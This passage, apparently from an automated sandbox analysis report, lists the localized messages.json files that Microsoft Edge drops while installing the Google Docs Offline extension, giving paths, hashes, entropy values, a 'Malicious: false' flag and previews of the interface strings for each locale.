Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
